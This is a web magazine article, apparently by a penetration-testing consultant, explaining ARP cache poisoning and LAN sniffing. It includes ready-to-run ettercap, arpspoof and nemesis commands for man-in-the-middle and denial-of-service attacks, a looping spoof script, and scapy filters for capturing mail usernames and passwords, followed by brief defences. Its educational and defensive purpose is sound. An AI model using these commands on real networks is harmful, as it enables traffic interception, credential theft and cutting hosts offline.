Cloud Security Authors: Elizabeth White, John Katrick, Pat Romanski, Rostyslav Demush, Yeshim Deniz

Related Topics: Cloud Security, Mobile IoT

Cloud Security: Article

Network Security: Arp Cache Poisoning and Sniffing Packets

ARP Cache Poisoning allows any computer on the local area network to obtain one of the most powerful attack postures in network

In a switched network environment packets are sent to their destination port by MAC address. This requires that hardware be able to create and maintain a table associating MAC addresses to ports. In a switched environment packets are only sent to devices that they are meant for. Even in this switched environment there are ways to sniff other devices' packets. One such way is to spoof your MAC address and poison the arp table. Since there is no state information about ARP traffic kept, as it's a simple protocol, the arp cache can be overwritten (unless the entry was explicitly marked as permanent).

Arp cache poisoning puts the attacker in position to intercept communications between the two computers. Computer A believes it is communicating with Computer B, but because of the poisoned arp table, the communication actually goes to the attacker's computer. The attacker can then either respond to computer A (pretending to be computer B), or simply forward the packets to its intended destination, but only after the packet information is captured and logged for later sue by the attacker. Likewise, the response from Computer B can be captured and logged by the attacker, who has also used Arp poisoning to make Computer B think its Computer A. this type of attack is known as Man in the Middle attack.

This article will cover a number of tools used in arp cache poisoning including ettercap, arpspoof, nemesis, p0f, dsniff, and scapy.

Running Ettercap
For arp cache poisoning to take place the attacker needs to be in the same network segment as the systems that are to communicate between each other. The first step is to obtain a list of IP addresses and the associated MAC. This can be accomplished a couple of different ways, one with a tool called ettercap. Ettercap is a suite for man in the middle attacks on your local LAN. It features sniffing of live connections, content filtering on the fly and more. It supports active and passive dissection of many protocols some of them we will cover in this paper.

# ettercap -T -M arp:remote //

This command will quickly sniff all hosts within your subnet, to view the results type L or hit h for the help menu and you will be given a list of commands.

Arp Cache DOS
To arp poison a given IP address to knock them off line so they cant communicate with anyone use arpspoof from the dsniff suite. Arpspoof is much simpler than ettercap to redirect packets, here is an example:

# arpspoof -i eth0 -t <target> host

Specifying the interface is optional but required if more than one interface is present. The -t specifies the particular host to ARP poison and if not specified all hosts on the LAN will be poisoned. The host can be the default gateway and this will keep the target from communicating beyond the local segment. Arpspoof redirects packets from a target host or all hosts on the LAN intended for another host on the LAN by forging ARP replies. The beauty of this program comes from the arp_send() function, which also uses libnet to spoof packets. The arp_send() sends out one ARP packet with source/target IP and Ethernet hardware addresses supplied by the user. Libnet is a generic networking API that provides access to several protocols.

To better understand how this works lets look at another tool called nemesis. If we have the IP and MAC of the intended target and host we can use nemesis to arp poison our target and leave them with a denial of service. Nemesis is a command-line network packet crafting and injection utility. Nemesis can craft and inject ARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF, RIP, TCP and UDP packets. By crafting your own packet using nemesis you can see how the arp cache poisoning works.

$ sudo nemesis arp -v -r -d eth0 -S -D -h 00:22:6E:71:04:BB -m 00:0C:29:B2:78:9E -H 00:22:6E:71:04:BB -M 00:0C:29:B2:78:9E

Then we create a packet to send in the other direction.

$ sudo nemesis arp -v -r -d eth0 -S -D -h 00:22:6E:71:04:BB -m 00:22:6B:7E:AD:7C -H 00:22:6E:71:04:BB -M 00:22:6B:7E:AD:7C

These two commands spoof ARP replies from to then from to The nemesis arp options -S specifies the source IP address, -D the destination IP address, -h the senders MAC address, -m the target MAC address, -H the source MAC address, and -M the destination MAC address. These two commands send bogus ARP replies to keep the ARP caches poisoned and traffic redirected. I find understanding this aspect allows you a better understanding of how the arp cache poisoning works. Lets replay them every 10 seconds with a loop.

$ while true

> do

> sudo nemesis arp -v -r -d eth0 -S -D -h 00:22:6E:71:04:BB -m 00:0C:29:B2:78:9E -H 00:22:6E:71:04:BB -M 00:0C:29:B2:78:9E

> sudo nemesis arp -v -r -d eth0 -S -D -h 00:22:6E:71:04:BB -m 00:22:6B:7E:AD:7C -H 00:22:6E:71:04:BB -M 00:22:6B:7E:AD:7C

> echo "Redirecting"

> sleep 10

> done

Once this is done the targeted box will be off-line and unable to communicate with the rest of the network. I made a video on my site that demonstrates this attack and is available at http://pbnetworks.net.

Sniffing the LAN
The bridge mode in ettercap requires two interfaces that are placed in the network segment. If you setup in-line with network bridge mode you are very hard to detect. In bridge mode you intercept packets and can read, sniff, or change them before sending them on to the victim. This mode is stealthy because you don't send out ARP packets on the LAN.

# ettercap -Tq -i eth0 -B eth1

The -i sets the primary interface as eth0, the -B sets the second bridging interface (see Figure #1).

If you run in GTK+ user interface you can do this by Sniff => Bridged sniffing

Figure 1: Sniffing traffic

Logging data
If you would like to log all the packets in a file you can use a number of different tools such as p0f which is a versatile passive OS fingerprinting and masquerade detection utility. It can be used for evidence or information gathering on servers, firewalls, and intrusion detection systems. Ettercap can also fingerprint hosts (find the Operating System running) with the -P option, just need to specify an open port. Once we find out what Operating system we are dealing with then it we can anticipate how the system will react.

# ettercap -Tq -P finger /

To allow the p0f utility to write packets to tcpdump snapshot use the -w option.

p0f -w dumpfile.pcap

dsniff has a collection of tools used for network penetration testing and audits. These tools include dsniff, filesnarf, mailsnarf, nsgsnarf, urlsnard, and webspy passively monitor a network for interesting data. Arpspoof, dnsspoof, and macof tools facilitate the interception of network traffic normally unavailable to an attacker due to layer-2 switching. Below we are using the -w option to to write packets to file.

dsniff -w dumpfile.pcap

Ettercap allows dumping packet data to file with the -w option as well.

ettercap -T -M arp:remote / / -w dumpfile.pcap

It is easier and less intrusive if you specify a specific box to sniff traffic and write to a file then trying to sniff the whole LAN segment. Otherwise you may crash ettercap. You can then view the output in Scapy if you have a graphical PostScript/PDF. Scapy is a powerful interactive packet manipulation program that has the ability to forge or decode packets of a wide number of protocols. It can perform tasks like scanning, tracerouting, probing, unit tests, network discovery, tcpdump, tethereal, p0f and much more. Start by typing scapy at the terminal prompt.

$ scapy

>>> a=rdpcap("/home/cr0wn/dumpfile.pcap")

>>> a

<dumpfile.pcap: TCP:9522 UDP:2386 IMCP:15 Other:611>

>>> a[423].pdfdump(layer_shift=1)

See Figure 2

Figure 2 Scapy graphical output

A good way to protect yourself while you are web-browsing is to use HTTP Everywhere by the Electronic Frontier Foundation (EFF). This will allow https to be used instead of http which passes information in clear-text and would be read by an attacker that is sniffing the local network segment. This is becomes more significant when using unknown wireless networks like at coffee shops or airports.

Sniffing with Scapy
The ability to capture packets and clone tcpdump is possible with scapy. Here we find a host that we want to sniff traffic on and use this command:

>>> sniff(filter="tcp and hsot", count=50)

>>> a=_

>>> a.nsummary()

Here we are sniffing the next 50 packets traveling the network on the host

(see Figure 3).

Figure 3 sniffing 50 packets

If we use the sprintf() function we can get even more control over what is displayed.

>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% → %IP.dst%\n}{Raw:%Raw.load%\n}"))

(see Figure 4).

Figure #4 different control displays in scapy

If we use the sprintf() function we can get even more control over what is displayed.

>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% → %IP.dst%\n}{Raw:%Raw.load%\n}"))

see Figure #4).

We can narrow down the ports that we sniff on such as port 25 and 110, common ports for mail client. Enter the following command in scapy:

>>> a=sniff(filter="tcp and ( port 25 or port 110 )",

prn=lambda x: x.sprintf(%IP.src%:TCP.sport% → %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%"))

In the above we are sniffing for tcp on ports 25 and 110 and using the lambda operator, used to denote anonymous functions, with the sprintf() function for more control over displayed information.

The above can be viewed in Figure 5.

Figure 5 sniffing user names and passwords using Scapy

Scapy can also graph what you are sniffing on the network by producing a simple diagram of packet flow. The conversations() method will create a conversation graph which requires graphviz and ImageMagick to work. Here I am using scapy to sniff the wireless interface (wlan0) that is connected to a foreign network, all displayed in a graphic format.

>>> a=sniff(iface="wlan0", prn=lambda x: x.summary())

>>> a.conversations()

The output above can be seen in Figure 6.

Figure 6 graphical output with Scapy

ARP Cache Poisoning allows any computer on the local area network to obtain one of the most powerful attack postures in network security called "Man in the Middle" (MITM). MITM is able to monitor, filter, modify and edit any and all network traffic moving between LANs. In this article we have identified some open source tools that can be used to launch attacks on switched networks. We have identified some easy ways to prevent data loss by using a browser add-on. By making yourself aware and familiar with some of these tools you can see how secure your network really is. A good solution is to provide port security integrated into your switches and by running arpwatch to monitor address resolution protocol traffic on your network.

This article appears in Admin Network & Security Magazine on-line edition.  They had a difficult time getting all the .jpgs to work with their web application so I am publishing the article here as well.

Let pbnetworks get your pen test on target

Visit us and learn how http://pbnetworks.net

How secure is your network?

More Stories By David Dodd

David J. Dodd is currently in the United States and holds a current 'Top Secret' DoD Clearance and is available for consulting on various Information Assurance projects. A former U.S. Marine with Avionics background in Electronic Countermeasures Systems. David has given talks at the San Diego Regional Security Conference and SDISSA, is a member of InfraGard, and contributes to Secure our eCity http://securingourecity.org. He works for Xerox as Information Security Officer City of San Diego & pbnetworks Inc. http://pbnetworks.net a Service Disabled Veteran Owned Small Business (SDVOSB) located in San Diego, CA and can be contacted by emailing: dave at pbnetworks.net.

@ThingsExpo Stories
The best way to leverage your Cloud Expo presence as a sponsor and exhibitor is to plan your news announcements around our events. The press covering Cloud Expo and @ThingsExpo will have access to these releases and will amplify your news announcements. More than two dozen Cloud companies either set deals at our shows or have announced their mergers and acquisitions at Cloud Expo. Product announcements during our show provide your company with the most reach through our targeted audiences.
DevOpsSummit New York 2018, colocated with CloudEXPO | DXWorldEXPO New York 2018 will be held November 11-13, 2018, in New York City. Digital Transformation (DX) is a major focus with the introduction of DXWorldEXPO within the program. Successful transformation requires a laser focus on being data-driven and on using all the tools available that enable transformation if they plan to survive over the long term. A total of 88% of Fortune 500 companies from a generation ago are now out of bus...
With 10 simultaneous tracks, keynotes, general sessions and targeted breakout classes, @CloudEXPO and DXWorldEXPO are two of the most important technology events of the year. Since its launch over eight years ago, @CloudEXPO and DXWorldEXPO have presented a rock star faculty as well as showcased hundreds of sponsors and exhibitors! In this blog post, we provide 7 tips on how, as part of our world-class faculty, you can deliver one of the most popular sessions at our events. But before reading...
DXWordEXPO New York 2018, colocated with CloudEXPO New York 2018 will be held November 11-13, 2018, in New York City and will bring together Cloud Computing, FinTech and Blockchain, Digital Transformation, Big Data, Internet of Things, DevOps, AI, Machine Learning and WebRTC to one location.
DXWorldEXPO | CloudEXPO are the world's most influential, independent events where Cloud Computing was coined and where technology buyers and vendors meet to experience and discuss the big picture of Digital Transformation and all of the strategies, tactics, and tools they need to realize their goals. Sponsors of DXWorldEXPO | CloudEXPO benefit from unmatched branding, profile building and lead generation opportunities.
DXWorldEXPO LLC announced today that ICOHOLDER named "Media Sponsor" of Miami Blockchain Event by FinTechEXPO. ICOHOLDER give you detailed information and help the community to invest in the trusty projects. Miami Blockchain Event by FinTechEXPO has opened its Call for Papers. The two-day event will present 20 top Blockchain experts. All speaking inquiries which covers the following information can be submitted by email to [email protected] Miami Blockchain Event by FinTechEXPO also offers s...
Dion Hinchcliffe is an internationally recognized digital expert, bestselling book author, frequent keynote speaker, analyst, futurist, and transformation expert based in Washington, DC. He is currently Chief Strategy Officer at the industry-leading digital strategy and online community solutions firm, 7Summits.
Digital Transformation and Disruption, Amazon Style - What You Can Learn. Chris Kocher is a co-founder of Grey Heron, a management and strategic marketing consulting firm. He has 25+ years in both strategic and hands-on operating experience helping executives and investors build revenues and shareholder value. He has consulted with over 130 companies on innovating with new business models, product strategies and monetization. Chris has held management positions at HP and Symantec in addition to ...
Cloud-enabled transformation has evolved from cost saving measure to business innovation strategy -- one that combines the cloud with cognitive capabilities to drive market disruption. Learn how you can achieve the insight and agility you need to gain a competitive advantage. Industry-acclaimed CTO and cloud expert, Shankar Kalyana presents. Only the most exceptional IBMers are appointed with the rare distinction of IBM Fellow, the highest technical honor in the company. Shankar has also receive...
Enterprises have taken advantage of IoT to achieve important revenue and cost advantages. What is less apparent is how incumbent enterprises operating at scale have, following success with IoT, built analytic, operations management and software development capabilities - ranging from autonomous vehicles to manageable robotics installations. They have embraced these capabilities as if they were Silicon Valley startups.
Poor data quality and analytics drive down business value. In fact, Gartner estimated that the average financial impact of poor data quality on organizations is $9.7 million per year. But bad data is much more than a cost center. By eroding trust in information, analytics and the business decisions based on these, it is a serious impediment to digital transformation.
The standardization of container runtimes and images has sparked the creation of an almost overwhelming number of new open source projects that build on and otherwise work with these specifications. Of course, there's Kubernetes, which orchestrates and manages collections of containers. It was one of the first and best-known examples of projects that make containers truly useful for production use. However, more recently, the container ecosystem has truly exploded. A service mesh like Istio addr...
Predicting the future has never been more challenging - not because of the lack of data but because of the flood of ungoverned and risk laden information. Microsoft states that 2.5 exabytes of data are created every day. Expectations and reliance on data are being pushed to the limits, as demands around hybrid options continue to grow.
Business professionals no longer wonder if they'll migrate to the cloud; it's now a matter of when. The cloud environment has proved to be a major force in transitioning to an agile business model that enables quick decisions and fast implementation that solidify customer relationships. And when the cloud is combined with the power of cognitive computing, it drives innovation and transformation that achieves astounding competitive advantage.
As IoT continues to increase momentum, so does the associated risk. Secure Device Lifecycle Management (DLM) is ranked as one of the most important technology areas of IoT. Driving this trend is the realization that secure support for IoT devices provides companies the ability to deliver high-quality, reliable, secure offerings faster, create new revenue streams, and reduce support costs, all while building a competitive advantage in their markets. In this session, we will use customer use cases...
Digital Transformation: Preparing Cloud & IoT Security for the Age of Artificial Intelligence. As automation and artificial intelligence (AI) power solution development and delivery, many businesses need to build backend cloud capabilities. Well-poised organizations, marketing smart devices with AI and BlockChain capabilities prepare to refine compliance and regulatory capabilities in 2018. Volumes of health, financial, technical and privacy data, along with tightening compliance requirements by...
The IoT Will Grow: In what might be the most obvious prediction of the decade, the IoT will continue to expand next year, with more and more devices coming online every single day. What isn’t so obvious about this prediction: where that growth will occur. The retail, healthcare, and industrial/supply chain industries will likely see the greatest growth. Forrester Research has predicted the IoT will become “the backbone” of customer value as it continues to grow. It is no surprise that retail is ...
Andrew Keys is Co-Founder of ConsenSys Enterprise. He comes to ConsenSys Enterprise with capital markets, technology and entrepreneurial experience. Previously, he worked for UBS investment bank in equities analysis. Later, he was responsible for the creation and distribution of life settlement products to hedge funds and investment banks. After, he co-founded a revenue cycle management company where he learned about Bitcoin and eventually Ethereal. Andrew's role at ConsenSys Enterprise is a mul...
DXWorldEXPO LLC announced today that "Miami Blockchain Event by FinTechEXPO" has announced that its Call for Papers is now open. The two-day event will present 20 top Blockchain experts. All speaking inquiries which covers the following information can be submitted by email to [email protected] Financial enterprises in New York City, London, Singapore, and other world financial capitals are embracing a new generation of smart, automated FinTech that eliminates many cumbersome, slow, and expe...
Cloud Expo | DXWorld Expo have announced the conference tracks for Cloud Expo 2018. Cloud Expo will be held June 5-7, 2018, at the Javits Center in New York City, and November 6-8, 2018, at the Santa Clara Convention Center, Santa Clara, CA. Digital Transformation (DX) is a major focus with the introduction of DX Expo within the program. Successful transformation requires a laser focus on being data-driven and on using all the tools available that enable transformation if they plan to survive ov...